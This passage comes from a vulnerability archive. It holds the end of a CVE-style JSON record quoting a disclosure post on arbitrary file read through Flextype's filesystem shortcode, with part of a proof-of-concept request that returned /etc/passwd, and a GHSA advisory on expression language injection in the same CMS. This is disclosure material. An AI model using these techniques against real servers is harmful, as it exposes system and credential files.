/api/v1/entries?token=lab-token\u0026id=shortcode-file-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained /etc/passwd, demonstrating stored arbitrary\nfile read during normal entry processing.\nRoot Cause\n\nThe vulnerability occurs because attacker-controllable stored entry content\nis interpreted by the shortcode parser and the filesystem shortcode accepts\nunrestricted filesystem paths.\n\nThe affected code ultimately performs:\n\nfilesystem()-\u003efile($file)-\u003eget()\n\nwithout verifying that the canonicalized path resides within an explicitly\npermitted directory.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:04:00Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/25"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0183",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25",
            "automated": true,
            "contentSha256": "6da4feb6987b16ed1a92eadb657c75eff8bbee93f9836ea2c7b16b2601f3c50a",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:55:45Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0183"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:04:00Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0183"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-77939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-28T20:19:56Z",
    "severity": "HIGH"
  },
  "details": "Flextype CMS through v1.0.0-dev contains an expression language injection vulnerability that allows authenticated attackers with a valid API token to read arbitrary files by passing unsanitized user-supplied input to the Symfony ExpressionLanguage engine via the POST /api/v1/query endpoint. Attackers can leverage exposed application objects including filesystem() and serializers() within the evaluation scope to read arbitrary server files and achieve conditional remote code execution if a PHP file can be placed on disk through a secondary vector.",
  "id": "GHSA-j8rr-2wmh-q2h8",
  "modified": "2026-08-28T21:31:18Z",
  "published": "2026-08-28T21:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flextype/flextype/issues/595"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/flextype-cms-dev-rce-via-post-api-v1-query-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}